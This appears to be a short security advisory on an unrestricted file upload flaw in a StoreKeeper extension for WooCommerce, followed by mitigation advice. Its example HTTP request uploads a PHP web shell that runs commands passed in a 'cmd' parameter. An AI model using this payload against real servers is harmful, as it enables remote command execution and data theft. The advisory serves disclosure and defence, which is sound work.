How the Exploit Works
The unrestricted file upload vulnerability allows an attacker to upload and execute arbitrary code on the server that hosts the WooCommerce application. This is achieved by manipulating the file upload functionality in the StoreKeeper B.V. extension to accept files with dangerous types. With this capability, an attacker could potentially upload a script that, once executed, provides them with unauthorized access to the system or leads to a data leak.
Conceptual Example Code
The vulnerability might be exploited using a simple HTTP request like the following:
POST /storekeeper/upload HTTP/1.1
Host: vulnerable-woocommerce-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a malicious PHP script is uploaded which, when accessed via a specific URL, can execute arbitrary system commands supplied via the ‘cmd’ URL parameter.
Mitigations
The recommended mitigation strategy for this vulnerability is to apply the vendor-provided patch. Until that can be accomplished, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, blocking attempts to exploit the vulnerability.
